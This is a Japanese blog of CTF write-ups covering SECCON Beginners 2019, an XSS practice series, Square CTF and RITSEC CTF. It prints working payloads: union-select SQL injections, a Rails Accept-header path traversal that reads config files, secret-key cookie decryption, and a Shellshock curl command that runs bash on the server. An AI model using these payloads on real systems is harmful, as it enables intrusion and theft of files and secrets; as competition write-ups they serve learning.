眠気

戯言とメモ

SECCON Beginners CTF 2019 writeup

参加してました。

containers

foremostして出てきたpngの文字列を合わせるだけだった

f:id:lailaiskyn:20190527183053p:plain

最初と最後の文字列は切れてたけどどうせcと}だろうと思ってそのまま投げたら通ったので良かった

[warmup] Ramen

SQL injection。

union selectでinformation_schemaからtableとかcolumnとか探してたけどguessしていきなりflagでやっても良かった気がする

' or 1 union select 1,1 ; -- => 列の数を確かめる

' or 1 union select table_name, column_name from information_schema.columns ; -- => テーブル・カラム名を出す

' or 1 union select flag,1 from flag ; -- => flag出す

ctf4b{a_simple_sql_injection_with_union_select}

katsudon

流行りのRails脆弱性かと思ってmessage_verifierで署名されたやつの複合の仕方とか調べたり色々やってたけど、Base64をデコードするだけであっさり出てしまって拍子抜けしてしまった。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

katsudon-okawari

流行りのRails脆弱性だった

okawariする前にやってた方法ですぐ解けて、しかもヒントが簡単になってたので良かった。

Acceptヘッダーに

curl http://katsudon.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/database.yml{{'

みたいにpath指定したらファイルを見放題なので、config/secret.ymlのsecret_key_baseを取って、

    secret_key_base = "4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34"
    serial_code = "bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ=="
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secret_key_base[0..31], cipher: "aes-256-gcm")
    p msg_encryptor.decrypt_and_verify(serial_code)

みたいな感じでdecryptできた

以下解けなかったやつ

  • Himitsu

クローラのcookieを取れば良いこと、日付と時間(分)からハッシュが作られること、articleのtitleでfilterをバイパスしてxssが出来そうなことが分かってたのに解けなかった。悲しい。

  • Secure Meyasubako

CSPのバイパスをすれば良いこと、CDNの古いAngularを使ったり、googlejsonpでバイパス出来たりすることまで分かってたのに解けなかった。悲しい。

終わり 🙏

XSS Thousand Knocks writeup

前回の流れで こちらをやっていました。

現状出ている34問分が終わったのと、writeupが公開可なようだったのでついでに上げてみました。

25までの解答が消えてしまいこれを書くにあたって解き直していたので、cookie送信先が変わってるのはそのせいです。

途中unicodeエンコーディングでかなりゴリ押ししてしまったので後でちゃんと解きたい…

gist.github.com

https://knock.xss.moe

writeup

いくつか参加して簡単な問題だけ解いてました。

Square CTF

ratingがスゴかった…

dot-n-dash

メチャクチャ雑にデコード処理を書いた

function _decode(input) {
  let q = input.split(".").map(a=>a.length)
  let b = Array(Math.max.apply(null, q)).fill("0");
  q.map(a=>{
    b[a] = "1";
  })
  let s = b.reverse().join("")
  let res = ""
  for(let i=0;i<b.length/8;i++){
    let bin = s.substr(i*8,7)
    res += String.fromCharCode(parseInt(bin, 2))
  }
  return res;
}

de-anonymization

メチャクチャ雑にcsvをくっつける処理を書いた solv.rb · GitHub

RITSEC CTF

I am a Stegosaurus

pngcheckしておかしいところを直す

$ docker run -it --rm -v $(pwd)/data:/data dominicbreuker/stego-toolkit /bin/bash

root@9607f1955a31:/data# pngcheck -v stegosaurus.png
File: stegosaurus.png (198269 bytes)
  chunk IHDR at offset 0x0000c, length 13
    309 x 232 image, 24-bit RGB, non-interlaced
  CRC error in chunk IHDR (computed 01aae416, expected 93cf1eca)
ERRORS DETECTED in stegosaurus.png


$> hexdump data/stegosaurusのコピー.png | head
0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 93 cf 1e
0000020 ca 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00

$> hexdump data/stegosaurusのコピー.png | head
0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 01 aa e4
0000020 16 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00

Special Force

sqli

' or 1 = 1 ; -- '

What a cute dog!

shellshock

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats